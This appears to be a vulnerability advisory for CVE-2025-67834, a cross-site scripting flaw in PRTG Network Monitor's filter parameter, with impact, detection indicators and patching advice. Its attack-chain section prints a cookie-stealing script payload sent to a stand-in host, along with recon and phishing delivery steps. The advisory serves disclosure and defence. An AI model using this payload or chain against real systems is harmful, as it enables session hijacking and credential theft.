CVE-2025-67834: 
PRTG Network Monitor vulnerability analysis and mitigation

CVE-2025-67834 is a Cross-Site Scripting (XSS) vulnerability in Paessler PRTG Network Monitor that allows an unauthenticated attacker to inject malicious scripts via the filter parameter. All versions of PRTG Network Monitor prior to 25.4.114.1032 are affected. The CVE was received from MITRE on January 14, 2026, with initial NVD analysis completed on January 20, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (Paessler Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient sanitization of user-supplied input in the filter parameter of the PRTG web interface. Because no authentication is required to supply this parameter, an unauthenticated attacker can craft a malicious URL containing a JavaScript payload; when a logged-in user clicks the link or is otherwise directed to it, the script executes in their browser session. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a crafted link) (Paessler Advisory, Red Hat CVE).

Successful exploitation results in low-level confidentiality and integrity compromise within the victim's browser session. An attacker could steal session cookies or credentials, perform unauthorized actions on behalf of the authenticated user, or modify the appearance and behavior of the PRTG web interface as seen by the victim. Because PRTG is a network monitoring platform with visibility into infrastructure topology and device credentials, session hijacking could expose sensitive network configuration data or enable further lateral movement (Paessler Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.069%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify internet-facing PRTG Network Monitor instances running versions prior to 25.4.114.1032 using tools like Shodan or Censys, searching for PRTG-specific HTTP response headers or login page signatures.
2. Craft malicious URL: Construct a URL targeting the PRTG web interface that includes a malicious JavaScript payload in the filter parameter, e.g., https://<prtg-host>/index.htm?filter=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the payload: Send the crafted URL to a target who is authenticated (or likely to authenticate) to the PRTG instance via phishing email, social engineering, or embedding in a web page.
4. Achieve session hijacking: When the victim clicks the link and their browser renders the page, the injected script executes in the context of the PRTG web application, potentially exfiltrating session cookies or performing actions on behalf of the victim (Paessler Advisory).

• Network: Outbound HTTP requests from the PRTG server or client browsers to unexpected external domains shortly after accessing PRTG URLs containing unusual filter parameter values; requests to attacker-controlled infrastructure carrying cookie or session data.
• Logs: PRTG web server access logs showing requests to PRTG endpoints (e.g., index.htm) with URL-encoded script tags or JavaScript keywords (<script>, onerror=, javascript:) in the filter query parameter.
• Browser/Client: Unexpected redirects or pop-ups when accessing PRTG pages; browser developer tools showing script execution originating from PRTG page context with external destinations.

Paessler has released a patched version; administrators should upgrade PRTG Network Monitor to version 25.4.114.1032 or later as the primary remediation (Paessler Advisory). As a temporary workaround prior to patching, restrict network access to the PRTG web interface to trusted internal networks and authenticated users only. Deploying a Web Application Firewall (WAF) with rules to filter or block script-containing inputs in the filter parameter can provide additional defense-in-depth. Monitor access logs for suspicious filter parameter patterns indicative of exploitation attempts.